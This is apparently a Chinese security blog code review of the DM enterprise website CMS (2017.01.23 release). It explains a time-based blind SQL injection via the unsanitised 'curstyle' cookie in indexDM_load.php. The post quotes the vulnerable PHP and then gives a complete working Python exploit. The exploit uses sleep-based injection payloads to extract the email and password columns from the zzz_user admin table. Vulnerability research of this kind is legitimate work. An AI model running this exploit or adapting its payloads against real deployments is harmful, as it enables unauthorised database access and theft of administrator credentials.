【Code Review】DM企业建站系统前台盲注

  1. 1. 概述
  2. 2. 前台cookie 时间盲注

概述

今天搞了一下动态调试的东西,然后顺便看了看上次下的DM企业建站系统2017.01.23

前台cookie 时间盲注

大致跟了一下几个入口文件,该套cms主要的安全措施为htmlentities,在POST&&GET的输入点做了html实体化的操作,但是这并不转义单引号(默认不转义单引号具体可看htmlentities),看了一下进行数据库查询的sql语句,涉及到字符串类型时,都是单引号闭合,那么很清楚,在进行数据库查询时容易产生sql注入漏洞。
那么接下来主要找一下进行数据库操作的位置。

  1. POST&&GET
  2. COOKIE

ps:这里就随便找了一个地方,因为这套系统注入不要太多,连后台登陆都可以 :P

前面提到对POST&&GET做了实体转义,但是grep找了一下cookie,发现并没有对cookie的值进行安全操作,直接带入数据库查询。
indexDM_load.php Line 108

1
2
3
4
5
6
7
8
9
10
11
12
13
...

if(@$_COOKIE["curstyle"]<>'')
$curstyle = $_COOKIE["curstyle"];
else
$curstyle = $row['curstyle'];

...

$sqlstyle = "SELECT * from ".TABLE_STYLE." where pidname='$curstyle' $andlangbh limit 1";
//echo $sqlstyle;exit;
if(getnum($sqlstyle)>0){
$rowstyle = getrow($sqlstyle);

上述为漏洞的主要成因点,如果cookie中存在curstyle,优先选用cookie中的值,然后带入数据库查询。由于没有找到具体回显数据的地方,所以采用时间盲注的方式获取数据。

带上自己写的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Created by wh1t3P1g at 2017/1/30

import requests,time

class CookieBlindSqlInjection:

def __init__(self,url):
self.url=url
self.len=0

def getLength(self,column,table):
payload0 = "curstyle=1'||if((select length(cast(bin(length({column})) as char)) from {table} limit {line_start},1)={flag},sleep(5),1)=1#"
payload1 = "curstyle=1'||if((select substr(bin(length({column})),{col_start},1) from {table} limit {line_start},1)=1,1,sleep(5))=1#"
#first confirm bin-format data length
len=0
for i in range(1,9):
cookie=payload0.format(column=column,table=table,line_start=0,flag=i)
flag=self.send(cookie)
if flag=="0":
len=i
break
res=""
for i in range(1,len+1):
cookie=payload1.format(column=column,col_start=i,table=table,line_start=0)
flag=self.send(cookie)
res+=flag
# print res
self.len=int(res,2)
pprint("*", "fetch "+column+" length: "+str(self.len))
return int(res,2)

def getData(self,column,table):
payload0="curstyle=1'||if((select length(cast(bin(ascii(substr({column},{data_start},1))) as char)) from {table} limit {line_start},1)={flag},sleep(5),1)=1#"
payload1 = "curstyle=1'||if((select substr(bin(ascii(substr({column},{data_start},1))),{col_start},1) from {table} limit {line_start},1)=1,1,sleep(5))=1#"
total_res=""
for i in range(1,self.len+1):#具体数据的长度
len = 0
for j in range(1, 9):
cookie = payload0.format(column=column,data_start=i, table=table, line_start=0, flag=j)
flag = self.send(cookie)
if flag == "0":
len = j
break
# print "len:"+str(len)
res = ""
for k in range(1, len + 1):
cookie = payload1.format(column=column,data_start=i, col_start=k, table=table, line_start=0)
flag = self.send(cookie)
res += flag
# print res
total_res+=chr(int(res,2))
pprint("*", "fetch "+column+": "+total_res)
return total_res

def send(self,cookie):
headers={"Cookie":cookie}
try:
r = requests.get(self.url, headers=headers,timeout=4)
return "1"
except:
return "0"

def pprint(flag,content):
print "[{flag}] [{time}] {content}" \
.format(flag=flag, time=time.asctime(time.localtime(time.time())), content=content)

if __name__=='__main__':
cookieBlindSqlInjection=CookieBlindSqlInjection("http://127.0.0.1/cms/DM/20170123/")
pprint("*","program start")
pprint("*", "start fetching column[email]")
cookieBlindSqlInjection.getLength("email","zzz_user")
email=cookieBlindSqlInjection.getData("email","zzz_user")
pprint("*", "start fetching column[ps]")
cookieBlindSqlInjection.getLength("ps", "zzz_user")
ps=cookieBlindSqlInjection.getData("ps", "zzz_user")
pprint("*", "[email]: "+email+" ,[ps]: "+ps)
pprint("*", "program done")

ps:DM这个鬼,代码写的好乱啊T_T